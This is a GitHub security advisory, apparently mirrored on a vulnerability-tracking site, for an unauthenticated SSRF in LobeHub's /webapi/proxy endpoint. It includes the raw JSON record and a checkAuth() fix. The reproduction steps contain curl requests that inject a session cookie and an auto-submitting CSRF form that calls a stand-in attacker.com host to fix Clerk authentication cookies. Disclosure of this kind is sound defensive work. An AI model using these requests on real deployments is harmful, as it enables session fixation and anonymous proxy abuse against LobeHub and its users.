GHSA-XMWJ-C75X-6346

Vulnerability from github – Published: 2026-06-16 20:15 – Updated: 2026-06-16 20:15
VLAI
Summary
LobeHub: Unauthenticated SSRF in `/webapi/proxy`
Details

Unauthenticated SSRF in /webapi/proxy allows anyone to proxy requests and inject cookies on lobehub.com

Summary

The /webapi/proxy endpoint on app.lobehub.com accepts a URL in the POST body and fetches it server-side without any authentication. This is the same proxy code that was vulnerable in CVE-2024-32964, where /api/proxy was fixed by adding auth middleware. The /webapi/proxy route was never secured — it is the only webapi route missing the checkAuth() wrapper. An attacker can use this to make arbitrary outbound requests from LobeHub's infrastructure, leak Vercel deployment details, and inject cookies on the lobehub.com domain through reflected Set-Cookie headers.

Vulnerability Details

Type: Server-Side Request Forgery (CWE-918) Affected Endpoint: POST /webapi/proxy Vulnerable File: src/app/(backend)/webapi/proxy/route.ts

The route handler reads a URL from the request body and passes it to ssrfSafeFetch() without calling checkAuth() first. Every other webapi route (/webapi/chat/*, /webapi/models/*, /webapi/create-image/*) wraps the handler in checkAuth(), but the proxy does not. The Next.js middleware also skips /webapi/ routes — defaultMiddleware() calls NextResponse.next() for any path starting with /webapi/, so neither the route handler nor the middleware performs authentication.

Steps to Reproduce

Fetch an external URL through the proxy (no auth, no cookies, no tokens):

curl -X POST -H "Content-Type: text/plain;charset=UTF-8" \
  -d "https://httpbin.org/ip" \
  "https://app.lobehub.com/webapi/proxy"

image

Response:

{"origin": "3.14.141.44"}

This is the IP of LobeHub's Vercel serverless function. The proxy fetched httpbin.org and returned the full response body.

Inject a cookie on the lobehub.com domain:

curl -D- -X POST -H "Content-Type: text/plain;charset=UTF-8" \
  -d "https://httpbin.org/response-headers?Set-Cookie=__session%3Dmalicious%3BPath%3D%2F%3BDomain%3Dlobehub.com%3BSecure%3BHttpOnly" \
  "https://app.lobehub.com/webapi/proxy"

The response headers include:

set-cookie: __session=malicious;Path=/;Domain=lobehub.com;Secure;HttpOnly

image

The proxy passes upstream response headers straight through (only stripping Content-Encoding and Content-Length). An attacker controls the upstream server, so they control which Set-Cookie headers are reflected. The __session and __clerk_db_jwt cookies are both injectable — these are the cookie names used by Clerk for authentication.

CSRF to cookie injection (no user interaction beyond visiting a page):

An attacker hosts the following HTML. When a victim opens it, the browser submits a form to the proxy, which fetches the attacker's server. The attacker's server responds with a Set-Cookie header, and the proxy reflects it. The victim's browser sets the cookie on lobehub.com because the response comes from app.lobehub.com.

<form id=f action="https://app.lobehub.com/webapi/proxy"
  method=POST enctype="text/plain">
  <input name="https://attacker.com/inject?x" value="">
</form>
<script>f.submit()</script>

The attacker's server at /inject?x= responds with Set-Cookie: __session=KNOWN_VALUE; Path=/; Domain=lobehub.com; Secure; HttpOnly. The proxy reflects this header and the victim's browser stores the cookie.

Impact

The proxy is fully unauthenticated and returns the complete response from any external URL. I confirmed the following on app.lobehub.com:

An attacker can inject authentication cookies (__session, __clerk_db_jwt, __client_uat) on the lobehub.com domain by chaining CSRF with the proxy's reflected Set-Cookie headers. If LobeHub uses Clerk for session management, this is a session fixation vector — the attacker sets a known session value before the victim logs in, then uses that same value to access the victim's session.

The proxy also leaks Vercel infrastructure details. The Traceparent and X-Vercel-Id headers from internal request tracing appear in every proxied response. The server's egress IP is exposed. Vercel Edge Config and the Vercel API are both reachable through the proxy (they return auth errors, not SSRF blocks), which means the proxy reaches Vercel's management plane.

The endpoint has no rate limiting. An attacker can use LobeHub's infrastructure as an anonymous proxy for scanning, phishing, or abusing IP-based trust relationships with third-party services.

Recommended Fix

Add checkAuth() to the proxy route, matching every other webapi route:

- export const POST = async (req: Request) => {
+ export const POST = checkAuth(async (req, { userId }) => {

If the proxy is only needed for client-side URL previews, consider removing the endpoint entirely and handling previews in the browser.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.56"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@lobehub/lobehub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.57"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54157"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T20:15:57Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Unauthenticated SSRF in /webapi/proxy allows anyone to proxy requests and inject cookies on lobehub.com\n\n## Summary\n\nThe `/webapi/proxy` endpoint on app.lobehub.com accepts a URL in the POST body and fetches it server-side without any authentication. This is the same proxy code that was vulnerable in CVE-2024-32964, where `/api/proxy` was fixed by adding auth middleware. The `/webapi/proxy` route was never secured \u2014 it is the only webapi route missing the `checkAuth()` wrapper. An attacker can use this to make arbitrary outbound requests from LobeHub\u0027s infrastructure, leak Vercel deployment details, and inject cookies on the `lobehub.com` domain through reflected `Set-Cookie` headers.\n\n## Vulnerability Details\n\n**Type:** Server-Side Request Forgery (CWE-918)\n**Affected Endpoint:** POST /webapi/proxy\n**Vulnerable File:** `src/app/(backend)/webapi/proxy/route.ts`\n\nThe route handler reads a URL from the request body and passes it to `ssrfSafeFetch()` without calling `checkAuth()` first. Every other webapi route (`/webapi/chat/*`, `/webapi/models/*`, `/webapi/create-image/*`) wraps the handler in `checkAuth()`, but the proxy does not. The Next.js middleware also skips `/webapi/` routes \u2014 `defaultMiddleware()` calls `NextResponse.next()` for any path starting with `/webapi/`, so neither the route handler nor the middleware performs authentication.\n\n## Steps to Reproduce\n\n**Fetch an external URL through the proxy (no auth, no cookies, no tokens):**\n\n```\ncurl -X POST -H \"Content-Type: text/plain;charset=UTF-8\" \\\n  -d \"https://httpbin.org/ip\" \\\n  \"https://app.lobehub.com/webapi/proxy\"\n```\n\u003cimg width=\"1069\" height=\"297\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4fa7ffe9-fe4f-4752-875a-cb3fa79c3c18\" /\u003e\n\nResponse:\n\n```json\n{\"origin\": \"3.14.141.44\"}\n```\n\nThis is the IP of LobeHub\u0027s Vercel serverless function. The proxy fetched httpbin.org and returned the full response body.\n\n**Inject a cookie on the lobehub.com domain:**\n\n```\ncurl -D- -X POST -H \"Content-Type: text/plain;charset=UTF-8\" \\\n  -d \"https://httpbin.org/response-headers?Set-Cookie=__session%3Dmalicious%3BPath%3D%2F%3BDomain%3Dlobehub.com%3BSecure%3BHttpOnly\" \\\n  \"https://app.lobehub.com/webapi/proxy\"\n```\n\nThe response headers include:\n\n```\nset-cookie: __session=malicious;Path=/;Domain=lobehub.com;Secure;HttpOnly\n```\n\u003cimg width=\"1215\" height=\"340\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f0710685-edb8-4cc9-8162-27f0ba911903\" /\u003e\n\nThe proxy passes upstream response headers straight through (only stripping `Content-Encoding` and `Content-Length`). An attacker controls the upstream server, so they control which `Set-Cookie` headers are reflected. The `__session` and `__clerk_db_jwt` cookies are both injectable \u2014 these are the cookie names used by Clerk for authentication.\n\n**CSRF to cookie injection (no user interaction beyond visiting a page):**\n\nAn attacker hosts the following HTML. When a victim opens it, the browser submits a form to the proxy, which fetches the attacker\u0027s server. The attacker\u0027s server responds with a `Set-Cookie` header, and the proxy reflects it. The victim\u0027s browser sets the cookie on `lobehub.com` because the response comes from `app.lobehub.com`.\n\n```html\n\u003cform id=f action=\"https://app.lobehub.com/webapi/proxy\"\n  method=POST enctype=\"text/plain\"\u003e\n  \u003cinput name=\"https://attacker.com/inject?x\" value=\"\"\u003e\n\u003c/form\u003e\n\u003cscript\u003ef.submit()\u003c/script\u003e\n```\n\nThe attacker\u0027s server at `/inject?x=` responds with `Set-Cookie: __session=KNOWN_VALUE; Path=/; Domain=lobehub.com; Secure; HttpOnly`. The proxy reflects this header and the victim\u0027s browser stores the cookie.\n\n## Impact\n\nThe proxy is fully unauthenticated and returns the complete response from any external URL. I confirmed the following on app.lobehub.com:\n\nAn attacker can inject authentication cookies (`__session`, `__clerk_db_jwt`, `__client_uat`) on the `lobehub.com` domain by chaining CSRF with the proxy\u0027s reflected `Set-Cookie` headers. If LobeHub uses Clerk for session management, this is a session fixation vector \u2014 the attacker sets a known session value before the victim logs in, then uses that same value to access the victim\u0027s session.\n\nThe proxy also leaks Vercel infrastructure details. The `Traceparent` and `X-Vercel-Id` headers from internal request tracing appear in every proxied response. The server\u0027s egress IP is exposed. Vercel Edge Config and the Vercel API are both reachable through the proxy (they return auth errors, not SSRF blocks), which means the proxy reaches Vercel\u0027s management plane.\n\nThe endpoint has no rate limiting. An attacker can use LobeHub\u0027s infrastructure as an anonymous proxy for scanning, phishing, or abusing IP-based trust relationships with third-party services.\n\n## Recommended Fix\n\nAdd `checkAuth()` to the proxy route, matching every other webapi route:\n\n```diff\n- export const POST = async (req: Request) =\u003e {\n+ export const POST = checkAuth(async (req, { userId }) =\u003e {\n```\n\nIf the proxy is only needed for client-side URL previews, consider removing the endpoint entirely and handling previews in the browser.",
  "id": "GHSA-xmwj-c75x-6346",
  "modified": "2026-06-16T20:15:57Z",
  "published": "2026-06-16T20:15:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobehub/security/advisories/GHSA-xmwj-c75x-6346"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lobehub/lobehub"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LobeHub: Unauthenticated SSRF in `/webapi/proxy`"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…